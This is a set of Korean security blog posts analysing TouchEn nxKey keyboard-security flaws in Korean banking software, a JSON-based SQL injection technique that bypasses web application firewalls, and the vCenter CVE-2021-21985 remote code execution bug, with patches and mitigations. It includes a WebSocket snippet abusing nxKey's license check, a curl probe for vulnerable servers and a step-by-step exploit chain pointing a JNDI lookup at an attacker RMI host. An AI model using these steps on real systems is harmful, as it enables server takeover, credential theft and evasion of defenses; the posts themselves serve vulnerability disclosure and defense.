1. TouchEnxKey

- 라온시큐어사의 키보드 보안 프로그램 - 키보드 입력을 암호화하여 키로거 방지

- 브라우저 확장 프로그램으로 설치

 

1.1 TouchEnxKey 동작 방식

- TouchEnxKey를 사용할 경우 웹사이트에서 실행되는 자바스크립트 코드와 일부 서버 측 코드로 구성된 nxKey SDK와 함께 동작

① nxKey SDK를 사용하는 웹 사이트에서 암호 필드를 입력
② nxKey SDK의 JavaScript 코드가 이를 감지하여 로컬 nxKey 응용 프로그램 호출
③ nxKey 응용 프로그램은 윈도우즈 커널에서 장치 드라이버를 활성화
④ 장치 드라이버가 모든 키보드 입력을 가로채 nxKey 응용 프로그램으로 전송
⑤ nxKey 응용 프로그램은 키보드 입력을 암호화하여 nxKey SDK의 JavaScript 코드로 전송
⑥ 자바스크립트 코드는 암호화된 데이터를 숨겨진 형태의 필드에 작성

※ 실제 암호 필드는 더미 텍스트만 수신
⑦ 로그인 자격 증명 입력을 완료하고 "로그인" 클릭
⑧ 암호화된 키보드 입력은 다른 데이터와 함께 서버로 전송
⑨ nxKey SDK의 서버 측 부분은 암호를 해독하고 일반 텍스트 암호를 검색

 

>  사용자의 입력값을 nxKey가 가로채어 암호화 및 숨겨진 필드에 작성

>  서버측 nxKey SDK에서 복호화 및 로그인 시도 검증

>  키로거는 nxKey에 의해 암호화된 데이터만을 볼 수 있으며, 개인 키가 없으므로 복호화를 수행하지 못함

 

[사진 1] 웹 사이트와 TouchEnxKey 통신 방식 비교 (과거-좌 및 현재-우)

- 과거 : 브라우저 확장을 통해 웹 사이트와 응용 프로그램 사이에서 동작하며 요청과 응답을 중재 

- 현재 : 웹 사이트에서 웹 소켓 API를 사용하여 응용 프로그램과 직접 통신 즉, 브라우저 확장은 더 이상 필요하지 않음

> 일부 은행 사이트들은 브라우저 확장에 의존하는 오래된 코드를 사용

 

2. 취약점

- 설계상 주요 로깅 기능을 포함하고 있으며, 해당 기능에 대한 액세스를 충분히 제한하지 못함

- 단순 서비스 거부에서부터 원격 코드 실행을 유발하는 다양한 버그가 존재

 

2.1 TouchEn 확장 기능을 악용하여 은행 웹 사이트 공격

- eval()은 문자로 표현된 JavaScript 코드를 실행하는 함수

- TouchEn browser extension의 코드 중 주석처리된 eval()이 존재 > 코드 품질의 문제가 있을 가능성

result = JSON.parse(result);
var cbfunction = result.callback;

var reply = JSON.stringify(result.reply);
var script_str = cbfunction + "(" + reply + ");";
//eval(script_str);
if(typeof window[cbfunction] == 'function')
{
  window[cbfunction](reply);
}

 

- 콜백 메커니즘에서 악용 가능성이 발견되었으며, 악의적인 웹 페이지를 콜백 하도록 조작이 쉽게 가능하였음

※ 일부 이벤트에대해 웹 사이트에서 setcallback 요청을 전송

- 조작을 위해서는 2가지 조건이 필요

대상 웹 페이지에 id="setcallback" 매개변수가 존재해야 함

> 이는, nxKey SDK를 사용하는 웹 사이트만 공격할 수 있다는 것을 의미

※ WebSockets를 통한 통신은 이 요소를 생성하지 않음 즉, 최신 nxKey SDK를 사용하는 웹 사이트는 영향을 받지 않음

콜백은 특정 탭으로 전달

> 현재 탭에 로드된 페이지, 예를 들어 프레임에 로드된 페이지만 공격할 수 있다는 것을 의미

 

- 응용 프로그램이 요청을 처리하기 위해 JSON 파서를 사용하는 동안 응답은 sprintf_s()를 통해 처리되며, 이때 필터링이 수행되지 않음

> id 값은 응용 프로그램의 응답에 복사 - 취약점 발생 지점

> 공격자는 tabid 값을 알아낼 필요 有 - TouchEn 확장이 노출하는 tabid로 추측 또는 빈 값으로 설정(빈 값일 경우 현재 활성 탭으로 설정)

 

- 위 과정에 따른 공격 시나리오는 다음과 같음

① 은행 웹 사이트를 열어 활성 탭 생성
② 페이지가 로드될 때까지 기다렸다가 id="setcallback" 요소 확인
③ 일부 기능에 대한 콜백을 설정하기 위해 TouchEn 확장을 통해 콜백 메시지를 보내는 동시에 JSON 응답 속성을 "tabid":" 및 "reply":"malicious payload"로 조작하여 요청
④ 악성 페이로드를 매개 변수로 하여 은행 웹사이트에서 콜백 기능이 호출

[사진 2] 실제 공격 화면

2.2 웹 사이트의 키로깅 기능 사용

- 공격자 스스로 TouchEnxKey를 사용한 웹 페이지를 구성 - 피싱과 유사한 형태로 판단됨.

- 웹 사이트에서 TouchEnxKey를 사용하기 위해서는 유효한 라이센스가 필요

- TouchEnxKey는 요청 정보의 유효성이 아닌 라이선스 정보를 통해 식별

> TouchEnxKey가 암호화를 위한 공개 키를 수신하지 못하면 암호화하지 않고 평문을 전송

> 해당 방법은 가로챈 입력이 실제 유효한 사이트에 도달하지 못하므로, 의심을 유발할 수 있음

socket.send(JSON.stringify({
  "tabid": "whatever",
  "init": "get_versions",
  "m": "nxkey",
  "origin": "https://www.example.com",
  "lic": "eyJ2ZXJzaW9uIjoiMS4wIiwiaXNzdWVfZGF0ZSI6IjIwMzAwMTAxMTIwMDAwIiwicHJvdG9jb2xfbmFtZSI6InRvdWNoZW5leCIsInV1aWQiOiIwMTIzNDU2Nzg5YWJjZGVmIiwibGljZW5zZSI6IldlMkVtUDZjajhOUVIvTk81L3VNQXRVd0EwQzB1RXFzRnRsTVQ1Y29FVkJpSTlYdXZCL1VCVVlHWlY2MVBGdnYvVUJlb1N6ZitSY285Q1d6UUZWSFlCcXhOcGxiZDI3Z2d0bFJNOUhETzdzPSJ9"
}));

 

2.3 응용프로그램 자체 공격

- TouchEnxKey는 sprintf_s() 또는 strcpy_s()와 같은 버퍼 오버플로우에 상대적으로 안전한 함수를 사용

> 충분히 큰 버퍼를 제공하지 못하면 잘못된 매개 변수 처리기가 호출되며, 이로 인해 애플리케이션이 다운이 발생

 

- 모든 JSON 파서 중에서 nxKey 애플리케이션 개발자들은 C로 작성된 것을 선택(https://github.com/json-parser/json-parser/)

> github의 업데이트 사항이 반영되지 않음 (2014.01~)

> 2014년 6월 수정이 반영되지 않음

 

- 취약한 OpenSSL 사용

> OpenSSL 1.0.2c를 사용중으로 이는 2015년에 공개된 버전이며, 2020년 1월 지원이 종료된 버전

[사진 3] openssl-1.0.2c

2.4 도우미 응용 프로그램 남용

- nxKey가 키보드 입력을 가로챌 때마다 CKAgentNXE.exe 도우미 애플리케이션이 시작

- CKAgentNXE.exe가 무결성 수준이 낮은 프로세스에서 액세스할 수 있도록 IPC 개체에 대한 보안 설명자를 설정함

- 또한, 레지스트리 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy 경로 추가

> TouchEn Key가 Internet Explorer에서 ActiveX로 실행될 때 무결성 수준은 낮음으로 실행됨

 

2.5 드라이버의 키로깅 기능을 직접 액세스

- TouchEnxKey 응용 프로그램(드라이버로부터 받은 키보드 입력을 암호화하는 응용 프로그램)은 사용자 권한으로 실행

- 드라이버 통신을 하는 라이브러리인 TKPPM.dll은 Temida를 사용하여 난독화

> 런타임에 디버거를 연결하면 이미 해독된 TKAppm.dll 메모리를 저장하고 분석을 위해 결과를 Gidra에 로드가 가능하였다고 함

 

3. 조치

- 블라디미르 팔란트

> 2022년 10월 4일 KrCERT에 보고

> KrCERT는 약 2주 후에 내 보고서를 RaonSecure에 전달

 

- 라온시큐어 관계자
> 해당 내용은 이미 작년에 KrCert를 통해 모두 전달받음
> 취약점을 보완하는 패치가 모두 이뤄진 상태
> 보완된 프로그램을 각 은행을 통해 배포하는 절차만 남겨놓은 상황

> 2023.02 업데이트 공개

① TouchEn nxKey 및 CrossEXService에서 발생하는 크로스 사이트 스크립팅(XSS) 취약점

※ CrossEXService: TouchEn nxKey 설치 시 함께 설치되는 프로그램으로 TouchEn nxKey 재설치 시 함께 업데이트 됨

② 위즈베라의 Veraport V3에서 발생하는 정보 노출 취약점

제품명 영향받는 버전 해결 버전
TouchEn nxKey 1.0.0.78 이하 1.0.0.82
CrossEXService 1.0.2.9 이하 1.0.2.10 
Veraport V3 v3702~v3863 v3864

> 해결 방안

① 서비스 운영자: 라온시큐어, 위즈베라를 통해 최신버전 교체

② 서비스 이용자

- TouchEn nxKey, CrossEXService, Veraport V3가 설치되어 있는 경우 제거 후 최신버전 업데이트

※ [제어판]-[프로그램]-[프로그램 및 기능]

- 이용 중인 금융사이트에 접속하여 해결된 버전의 프로그램 재설치

※ 금융사이트별 취약한 프로그램 패치 일정은 상이하므로 확인 필요

 

4. 참고

 

TouchEn nxKey: The keylogging anti-keylogger solution

TouchEn nxKey is supposed to combat keyloggers. Instead, this application made writing a keylogger extremely simple, allowed attacking banking websites and more.

palant.info

 

독일 개발자 “한국 은행 사이트, 매우 불편하고 위험해”

독일의 유명 개발자 블라디미르 팔란트(Wladimir Palant)가 최근 우리나라 보안 프로그램을 정면으로 비판하고 나서 화제다. 팔란트는 세계에서 가장 많이 쓰이는 광고차단 프로그램 ‘애드블록 플

n.news.naver.com

 

[긴급] 라온시큐어 및 위즈베라의 금융보안 솔루션, 보안 업데이트 서둘러야

금융보안 솔루션을 금융권 등에 공급하는 라온시큐어와 위즈베라가 자사 제품에서 발생하는 취약점을 해결한 보안 업데이트를 발표했다. 공격자들이 해당 취약점을 악용해 피해를 발생시킬 수

www.boannews.com

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

개요 - 독일의 개발자 블라디미르 팔란트(Wladimir Palant)가 최근 우리나라 보안 프로그램을 정면으로 비판
※ 블라디미르 팔란트(Wladimir Palant) : 광고차단 프로그램 '애드블록 플러스(Adblock Plus)' 개발자

- 우리나라 은행 사이트를 이용하는 데에 상당히 많은 장애물이 도사리고 있다고 지적
① 사이트에 한 번 들어가려면 보안 프로그램을 5~6개씩 설치 > 로딩 속도가 느려짐
② 여러 은행을 이용 > 같은 보안 프로그램의 서로 다른 버전을 중복해서 설치
③ 이러한 과정에서 보안 취약점이 발생 >  프로그램의 상당수가 최신 기술을 적용하지 않는다는 것
> 오래된 프로그래밍 언어로 짜여 있어 초보적인 해킹에 취약
> 10년이 넘은 라이브러리를 사용
내용 - 구체적으로 어떤 프로그램이 취약점을 가졌는지는 명확히 밝히지는 않았으나, 총 5개의 프로그램이 드러나 있음
① INISAFE
② AhnLab Online Security 
③ TouchEn nKey 
④ IPInside-LWS 
⑤ Copy Certificates to Smartphones 

- 1월 9일을 시작으로 매 2주 마다 본인 블로그에 보안 프로그램 1개씩, 총 4종의 취약점을 보고 공언

- 지난해 10월 4일 한국인터넷진흥원 인터넷침해사고대응지원센터(KrCert)를 통해 이 문제를 신고
> 3개월이 넘게 어떠한 회신도 받지 못했다고 주장
> “프로그램 제작사 측에서 아무런 연락을 주지 않았으며 현재 최신 버전 프로그램에도 지적한 문제점이 그대로 남아 있다"
참고 - 라온시큐어 관계자
>  “해당 내용은 이미 작년에 KrCert를 통해 모두 전달받았고, 취약점을 보완하는 패치가 모두 이뤄진 상태”
>  “보완된 프로그램을 각 은행을 통해 배포하는 절차만 남겨놓은 상황”

 

뉴스

 

독일 개발자 “한국 은행 사이트, 매우 불편하고 위험해”

독일의 유명 개발자 블라디미르 팔란트(Wladimir Palant)가 최근 우리나라 보안 프로그램을 정면으로 비판하고 나서 화제다. 팔란트는 세계에서 가장 많이 쓰이는 광고차단 프로그램 ‘애드블록 플

n.news.naver.com

 

블라디미르 팔란트(Wladimir Palant) 블로그

 

South Korea’s online security dead end

Websites in South Korea often require installation of “security applications.” Not only do these mandatory applications not help security, way too often they introduce issues.

palant.info

1. 개요

-  Team82에서 웹 애플리케이션 방화벽(WAF)의 우회방법을 개발

※ 관련 WAF 공급 업체 : Palo Alto Networks, Amazon Web Services, Cloudflare, F5 Big-IP, Imperva

- 공격 방법은 WAF가 구문 분석할 수 없는 SQL Injection 페이로드에 JSON 구문을 추가하는 것

- 대부분의 WAF는 SQL Injection 공격을 쉽게 감지 하지만 SQL 구문에 JSON을 추가하면 WAF 우회가 가능

※ WAF 공급업체는 대부분의 데이터베이스 엔진에서 JSON을 지원했음에도 불구하고 제품에서 JSON 지원이 부족

- 위 5개 업체 모두 SQL Injection 검사 프로세스에 JSON 구문을 지원하도록 업데이트 적용

- 해당 기법을 악용해 타제품 WAF 우회 및 공격이 가능하므로, 패치 적용 또는 관련 설정이 필요

 

2. SQL과 JSON

- 현대에 JSON은 데이터 저장 및 전송의 주요 형식 중 하나로 자리잡음

- JSON 구문을 지원하고 개발자가 다른 애플리케이션에서 데이터와 상호 작용하는 방식과 유사한 방식으로 데이터와 상호 작용할 수 있도록 하려면 SQL에서 JSON 지원이 필요했음

 

- 현재 모든 주요 관계형 데이터베이스 엔진은 기본 JSON 구문을 지원함

※ MSSQL, PostgreSQL, SQLite, MySQL이 포함

- 최신 버전에서는 모든 데이터베이스 엔진이 기본적으로 JSON 구문을 활성화하므로 오늘날 대부분의 데이터베이스 설정에서 널리 사용됨

 

- 개발자는 여러 이유로 SQL 데이터베이스 내에서 JSON 기능을 사용하기로 선택

① 많은 백엔드가 이미 JSON 데이터로 작업

> SQL 엔진 자체에서 모든 데이터 조작 및 전환을 수행하면 필요한 데이터베이스 호출 수가 줄어듦

② JSON 데이터 형식은 데이터베이스 백엔드 API에서 가장 많이 사용하는 형식

> JSON 데이터 형식으로 작동할 수 있는 경우 데이터 전,후처리가 덜 필요하므로 애플리케이션에서 먼저 변환할 필요 없이 즉시 사용이 가능

∴ SQL에서 JSON을 사용할 경우 더 나은 성능과 효율성 즉, 리소스 절약이 가능함

[사진 1] SQL에서 JSON을 사용하는 데이터 흐름

 

- 각 데이터베이스는 서로 다른 구현 및 JSON 파서를 선택했으며, 모두 JSON 데이터 유형과 기본 JSON 검색 및 수정을 지원

[사진 2] 데이터베이스 별 JSON 지원 수준

 

- 그러나 모든 데이터베이스 엔진이 JSON에 대한 지원을 추가했지만 모든 보안장비가 JSON에 대한 지원을 추가한 것은 아님

∴ 보안장비와 실제 데이터베이스 엔진 간의 구문 분석 기본 요소가 일치하지 않아 SQL 구문이 잘못 식별될 수 있음

> 결과적으로 JSON은 WAF의 파서와 데이터베이스 엔진 간의 불일치로 인한 문제

 

3. 취약점

- JSON 구문을 사용하면 새 SQL Injection 페이로드를 만들 수 있음

- 이러한 페이로드는 일반적으로 알려지지 않았기 때문에 보안장비를 우회하는 데 사용될 수 있음

PostgreSQL: '{"b":2}'::jsonb <@ '{"a":1, "b":2}'::json
> b Is the left JSON contained in the right one? True.

SQLite: '{"a":2,"c":[4,5,{"f":7}]}' -> '$.c[2].f' = 7 
> Does the extracted value of this JSON equals 7? True. 

MySQL: JSON_EXTRACT('{"id": 14, "name": "Aztalan"}', '$.name') = 'Aztalan' 
> Does the extracted value of this JSON equals to ‘Aztalan’? True.

 

- WAF가 유효한 SQL로 인식하지 않지만 데이터베이스 엔진에서 SQL Injection으로 분석된다면 우회가 가능함

- JSON 구문을 사용하는 유효한 SQL 문을 전달했을 때 WAF에서 탐지되지 않음

※ 오른쪽 JSON이 왼쪽 JSON에 포함되어 있는지 확인하는 JSON 연산자 @>는 WAF를 우회할 수 있음 ([사진 3] 참고)

[사진 3] JSON 구문이 포함된 SQL Injection에 대한 200 응답값

 

- 간단한 JSON 구문을 요에 추가하여 SQL Injection을 수행할 경우 클라우드에서 민감한 정보를 얻을 수 있음

[사진 4] JSON 구문이 포함된 SQL Injection을 통한 클라우드에서의 정보 탈취

 

- 이 우회의 핵심 문제는 데이터베이스 엔진과 SQL Injection 탐지 솔루션 간의 적합성 부족 문제
- 이는 SQL의 JSON 기능이 잘 알려진 기능이 아니며 해당 구문이 WAF 파서에 추가되지 않았기 때문임

- 공격자가 피해 서버에 어떤 WAF가 있는지 확인할 수 없더라도 JSON 기반 SQL Injeciton 공격을 통해 우회 및 악용할 수 있음.

 

- 오픈소스 SQL Injetion 자동화 툴 SQLMap의 최신 버전에서 JSON 구문 회피 기술이 추가됨.

 

GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

Automatic SQL injection and database takeover tool - GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

github.com

 

- SQLMap에서는 일부 WAF 우회 기술을 제공하지만 일반적인 SQL Injection은 대부분 최신 WAF에서 쉽게 탐지/차단

[사진 5] SQLMap에서 SQL Injection 공격 시 WAF 탐지/차단

 

- 그러나 임의로 생성된 JSON 구문을 추가하여 SQLMap에서 악성 페이로드 공격 시 WAF 우회 및 성공적으로 악용할 수 있음.

- SQLMap 옵션 : --temper json_waf_bypass

[사진 6] JSON 기반 SQL Injection 공격 시 WAF 우회

4. 대응

- 5곳의 주요 WAF 공급업체 모두 SQL Injection 검사 프로세스에 JSON 구문을 지원하도록 업데이트 적용

※ 관련 WAF 공급 업체 : Palo Alto Networks, Amazon Web Services, Cloudflare, F5 Big-IP, Imperva

- 5곳 외 타 보안장비 벤더사에서도 관련된 패치 제공 및 솔루션에 패치 적용 필요

[사진 7] JSON 구문에 대한 지원을 추가한 Amazon AWS ELB 규칙 세트에 대한 AWS 릴리스 정보
[사진 8] JSON 구문에 대한 지원을 추가한 F5 BIG-IP의 승인

5. 출처

 

{JS-ON: Security-OFF}: Abusing JSON-Based SQL to Bypass WAF

Team82 developed a generic web application firewall bypass that exploits a lack of JSON syntax support in leading vendors' SQL injection inspection process.

claroty.com

1. vCenter Server

- VM웨어는 클라우드 서비스 플랫폼을 구축하기 위하여 vSphere 솔루션을 공급

- vSphere : 가상화를 활용하여 데이터센터를 단순화된 클라우드 컴퓨팅 인프라로 전환하여 IT 조직에서 유연하고 안정적인 서비스를 제공하기 위한 목적으로 사용

- 이러한 환경을 중앙에서 편리에서 관리할 수 있도록 vCenter Server를 제공

- vCenter Server : 다중 호스트의 리소스를 관리할 수 있으며, 물리 및 가상 인프라를 중앙에서 모니터링하고 관리

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2021-21985

- vCenter Server에서 제공되는 Virtual SAN 상태 점검 플러그인(vSAN 플러그인)의 입력 유효성 검사 부족으로 인한 원격 코드 실행 취약성

- 해당 취약점을 Exploit에 성공할 경우 서버 전체를 장악 가능함

① 영향받는 버전
- VMware vCenter Server 버전 6.5, 6.7 및 7.0
- Cloud Foundation(vCenter Server) 버전 3.x ~ 4.x

② 조건
443 Port에 대한 네트워크 엑세스 권한 有

 

2.1 분석

- vSAN 플러그인은 사용 유무에 관계 없이 모든 vCenter Server 배포시 기본 활성화

- invokeServiceWithJson() 메서드에서 사용자 요청값에대한 입력값에 대한 검증 없이 추출 후 매개변수로 사용

※ 경로 : src/h5-vsan-service.jar/com/vmware/vsan/client/services/ProxygenController.java

[사진 2]&nbsp;src/h5-vsan-service.jar/com/vmware/vsan/client/services/ProxygenController.java

 

- 먼저 공격자는 취약점이 존재하는 인터넷에 노출된 VMware vCenter 장치를 쇼단 또는 curl 명령 등을 통해 찾음

- 아래 curl 명령을 사용할 경우 응답값 내에서 {“result”:{“isDisconnected”: 를 찾음 (취약한 경우 false 반환)

curl -k -X POST -H 'Content-Type: application/json' -d '{"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}' 'https://<target>/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData'

[사진 3] shodan 검색 화면

 

- 이후 공격자는 다음의 명령을 순차적으로 수행해 Exploit을 수행함

Step1
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetObject
{"methodInput":[null]}

Step2
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setStaticMethod
{"methodInput":["javax.naming.InitialContext.doLookup"]}

Step3
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetMethod
{"methodInput":["doLookup"]}

Step4 
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setArguments
{"methodInput":[["rmi://attip:1097/ExecByEL"]]}

Step5
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/prepare
{"methodInput":[]}

Step6
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/invoke
{"methodInput":[]}

 

3. 대응방안

3.1 서버측면

① 벤더사에서 제공하는 보안 패치 적용

제품 플랫폼 영향받는 버전 최신 버전
vCenter Server 모든 플랫폼 6.5 6.5 U3p
6.7 6.7 U3n
7.0 7.0 U2b
Cloud Foundation 3.x 3.10.2.1
4.x 4.2.1

 

- Virtual SAN 상태 점검 플러그인의 /rest/* 끝점에 인증을 추가

--- a/unpatched/src/h5-vsan-context.jar/WEB-INF/web.xml
+++ b/patched/src/h5-vsan-context.jar/WEB-INF/web.xml
@@ -5,6 +5,21 @@

    <display-name>h5-vsan-service</display-name>

+   <context-param>
+      <param-name>contextConfigLocation</param-name>
+      <param-value>/WEB-INF/spring/bundle-context.xml</param-value>
+   </context-param>
+
+   <!-- The application context needs to be OSGI-enabled in order to look up services -->
+   <context-param>
+      <param-name>contextClass</param-name>
+      <param-value>org.eclipse.virgo.web.dm.ServerOsgiBundleXmlWebApplicationContext</param-value>
+   </context-param>
+
+   <listener>
+      <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
+   </listener>
+
    <!-- Processes application requests -->
    <servlet>
       <servlet-name>springServlet</servlet-name>
@@ -12,7 +27,7 @@

       <init-param>
          <param-name>contextConfigLocation</param-name>
-         <param-value>/WEB-INF/spring/bundle-context.xml</param-value>
+         <param-value>/WEB-INF/spring/empy-context.xml</param-value>
       </init-param>

       <!-- The application context needs to be OSGI-enabled in order to look up services -->
@@ -40,4 +55,14 @@
       <url-pattern>/*</url-pattern>
    </filter-mapping>

+   <filter>
+      <filter-name>authenticationFilter</filter-name>
+      <filter-class>com.vmware.vsan.client.services.AuthenticationFilter</filter-class>
+   </filter>
+
+   <filter-mapping>
+      <filter-name>authenticationFilter</filter-name>
+      <url-pattern>/rest/*</url-pattern>
+   </filter-mapping>
+
 </web-app>
package com.vmware.vsan.client.services;

import com.vmware.vise.usersession.UserSessionService;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.config.AutowireCapableBeanFactory;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.support.WebApplicationContextUtils;

public class AuthenticationFilter implements Filter {
  private static final Logger logger = LoggerFactory.getLogger(AuthenticationFilter.class);

  @Autowired
  private UserSessionService userSessionService;

  public void init(FilterConfig filterConfig) {
    WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(filterConfig.getServletContext());
    AutowireCapableBeanFactory factory = context.getAutowireCapableBeanFactory();
    factory.autowireBean(this);
  }

  public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
    if (this.userSessionService.getUserSession() == null) {
      HttpServletRequest httpRequest = (HttpServletRequest)request;
      HttpServletResponse httpResponse = (HttpServletResponse)response;
      logger.warn(String.format("Null session detected for a %s request to %s", new Object[] { httpRequest.getMethod(), httpRequest.getRequestURL() }));
      httpResponse.setStatus(401);
      return;
    }
    filterChain.doFilter(request, response);
  }

  public void destroy() {}
}

 

- 입력 유효성 검사가 com.vmware.vsan.client.services.ProxygenController 클래스에 추가

--- a/unpatched/src/h5-vsan-service.jar/com/vmware/vsan/client/services/ProxygenController.java
+++ b/patched/src/h5-vsan-service.jar/com/vmware/vsan/client/services/ProxygenController.java
@@ -1,151 +1,152 @@
 package com.vmware.vsan.client.services;

 import com.google.common.collect.ImmutableMap;
 import com.google.gson.Gson;
+import com.vmware.proxygen.ts.TsService;
 import com.vmware.vim.binding.vmodl.LocalizableMessage;
 import com.vmware.vim.binding.vmodl.MethodFault;
 import com.vmware.vim.binding.vmodl.RuntimeFault;
 import com.vmware.vsphere.client.vsan.util.MessageBundle;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
 import org.apache.commons.lang.StringUtils;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
 import org.springframework.beans.BeansException;
 import org.springframework.beans.factory.BeanFactory;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.PathVariable;
 import org.springframework.web.bind.annotation.RequestBody;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RequestMethod;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.bind.annotation.ResponseBody;
 import org.springframework.web.multipart.MultipartFile;

 @Controller
 @RequestMapping({"/proxy"})
 public class ProxygenController extends RestControllerBase {
   private static final Logger logger = LoggerFactory.getLogger(ProxygenController.class);

   @Autowired
   private BeanFactory beanFactory;

   @Autowired
   private MessageBundle messages;

   @RequestMapping(value = {"/service/{beanIdOrClassName}/{methodName}"}, method = {RequestMethod.POST}, consumes = {"application/json"}, produces = {"application/json"})
   @ResponseBody
   public Object invokeServiceWithJson(@PathVariable("beanIdOrClassName") String beanIdOrClassName, @PathVariable("methodName") String methodName, @RequestBody Map<String, Object> body) throws Exception {
     List<Object> rawData = null;
     try {
       rawData = (List<Object>)body.get("methodInput");
     } catch (Exception e) {
       logger.error("service method failed to extract input data", e);
       return handleException(e);
     }
     return invokeService(beanIdOrClassName, methodName, null, rawData);
   }

   @RequestMapping(value = {"/service/{beanIdOrClassName}/{methodName}"}, method = {RequestMethod.POST}, consumes = {"multipart/form-data"}, produces = {"application/json"})
   @ResponseBody
   public Object invokeServiceWithMultipartFormData(@PathVariable("beanIdOrClassName") String beanIdOrClassName, @PathVariable("methodName") String methodName, @RequestParam("file") MultipartFile[] files, @RequestParam("methodInput") String rawData) throws Exception {
     List<Object> data = null;
     try {
       Gson gson = new Gson();
       data = (List<Object>)gson.fromJson(rawData, List.class);
     } catch (Exception e) {
       logger.error("service method failed to extract input data", e);
       return handleException(e);
     }
     return invokeService(beanIdOrClassName, methodName, files, data);
   }

   private Object invokeService(String beanIdOrClassName, String methodName, MultipartFile[] files, List<Object> data) throws Exception {
     try {
       Object bean = null;
       String beanName = null;
       Class<?> beanClass = null;
       try {
         beanClass = Class.forName(beanIdOrClassName);
         beanName = StringUtils.uncapitalize(beanClass.getSimpleName());
       } catch (ClassNotFoundException classNotFoundException) {
         beanName = beanIdOrClassName;
       }
       try {
         bean = this.beanFactory.getBean(beanName);
       } catch (BeansException beansException) {
         bean = this.beanFactory.getBean(beanClass);
       }
       byte b;
       int i;
       Method[] arrayOfMethod;
       for (i = (arrayOfMethod = bean.getClass().getMethods()).length, b = 0; b < i; ) {
         Method method = arrayOfMethod[b];
-        if (!method.getName().equals(methodName)) {
+        if (!method.getName().equals(methodName) || !method.isAnnotationPresent((Class)TsService.class)) {
           b++;
           continue;
         }
         ProxygenSerializer serializer = new ProxygenSerializer();
         Object[] methodInput = serializer.deserializeMethodInput(data, files, method);
         Object result = method.invoke(bean, methodInput);
         Map<String, Object> map = new HashMap<>();
         map.put("result", serializer.serialize(result));
         return map;
       }
     } catch (Exception e) {
       logger.error("service method failed to invoke", e);
       return handleException(e);
     }
     logger.error("service method not found: " + methodName + " @ " + beanIdOrClassName);
     return handleException(null);
   }

   private Object handleException(Throwable t) {
     if (t instanceof InvocationTargetException)
       return handleException(((InvocationTargetException)t).getTargetException());
     if (t instanceof java.util.concurrent.ExecutionException && t.getCause() != t)
       return handleException(t.getCause());
     if (t instanceof com.vmware.vise.data.query.DataException && t.getCause() != t)
       return handleException(t.getCause());
     if (t instanceof com.vmware.vim.vmomi.client.common.UnexpectedStatusCodeException)
       return ImmutableMap.of("error", this.messages.string("util.dataservice.notRespondingFault"));
     if (t instanceof VsanUiLocalizableException) {
       VsanUiLocalizableException localizableException = (VsanUiLocalizableException)t;
       return ImmutableMap.of("error", this.messages.string(
             localizableException.getErrorKey(), localizableException.getParams()));
     }
     LocalizableMessage[] faultMessage = null;
     String vmodlMessage = null;
     if (t instanceof MethodFault) {
       faultMessage = ((MethodFault)t).getFaultMessage();
       vmodlMessage = ((MethodFault)t).getMessage();
     } else if (t instanceof RuntimeFault) {
       faultMessage = ((RuntimeFault)t).getFaultMessage();
       vmodlMessage = ((RuntimeFault)t).getMessage();
     }
     if (faultMessage != null) {
       byte b;
       int i;
       LocalizableMessage[] arrayOfLocalizableMessage;
       for (i = (arrayOfLocalizableMessage = faultMessage).length, b = 0; b < i; ) {
         LocalizableMessage localizable = arrayOfLocalizableMessage[b];
         if (localizable.getMessage() != null && !localizable.getMessage().isEmpty())
           return ImmutableMap.of("error", localizeFault(localizable.getMessage()));
         if (localizable.getKey() != null && !localizable.getKey().isEmpty())
           return ImmutableMap.of("error", localizeFault(localizable.getKey()));
         b++;
       }
     }
     if (StringUtils.isNotBlank(vmodlMessage))
       return ImmutableMap.of("error", vmodlMessage);
     return ImmutableMap.of("error", this.messages.string("vsan.common.generic.error"));
   }

   private String localizeFault(String key) {
     return key;
   }
 }

 

② 보안 패치가 불가할 경우 해당 플러그인을 "호환되지 않음"으로 설정

- UI 내에서 플러그인을 비활성화하여도 공격을 방지하지 않음

- VCHA(vCenter High Availability)를 실행하는 환경의 활성 노드와 수동 노드 모두에서 적용되어야 함

 

VMware Knowledge Base

 

kb.vmware.com

 

※ vCenter Server는 여러 조직과 서비스들이 함께 사용하는 복잡한 운영 환경으로 인해 패치 적용이 어려운 상황

 

3.2 네트워크 측면

① 공격 시도를 탐지할 수 있는 정책 설정 및 적용

- /ui/h5-vsan/rest/*

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2021-21985

